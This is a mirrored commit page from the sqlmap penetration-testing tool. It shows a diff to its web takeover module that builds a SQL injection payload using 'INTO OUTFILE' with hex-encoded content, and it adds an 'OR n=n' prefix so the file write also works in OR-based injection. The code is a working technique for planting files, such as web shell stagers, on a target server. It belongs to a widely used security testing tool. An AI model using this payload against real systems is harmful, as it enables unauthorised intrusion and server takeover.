sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-26 11:33:47 +03:00
Code Issues Packages Projects Releases Wiki Activity

Adjustment to make it work also in OR based injection

Browse Source
This commit is contained in:
Bernardo Damele 2010-12-05 12:24:23 +00:00
parent bf425d90bc
commit da3fd17fc3
1 changed files with 18 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

26
lib/takeover/web.py
View File

@ -22,6 +22,7 @@ from lib.core.common import ntToPosixSlashes
from lib.core.common import isWindowsDriveLetterPath from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath from lib.core.common import normalizePath
from lib.core.common import posixToNtSlashes from lib.core.common import posixToNtSlashes
from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import hexencode from lib.core.convert import hexencode
@ -99,14 +100,23 @@ class Web:
return True return True
def __webFileInject(self, fileContent, fileName, directory): def __webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.normpath("%s/%s" % (directory, fileName)) outFile = posixpath.normpath("%s/%s" % (directory, fileName))
uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory) uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory)
query = "LIMIT 1 INTO OUTFILE '%s' " % outFile query = ""
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(query) if kb.technique and kb.technique in kb.injection.data:
query = agent.suffixQuery(query) where = kb.injection.data[kb.technique].where
payload = agent.payload(newValue=query)
page = Request.queryPage(payload) if where == 2:
randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt)
query += "LIMIT 1 INTO OUTFILE '%s' " % outFile
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(query)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
return page return page
def webInit(self): def webInit(self):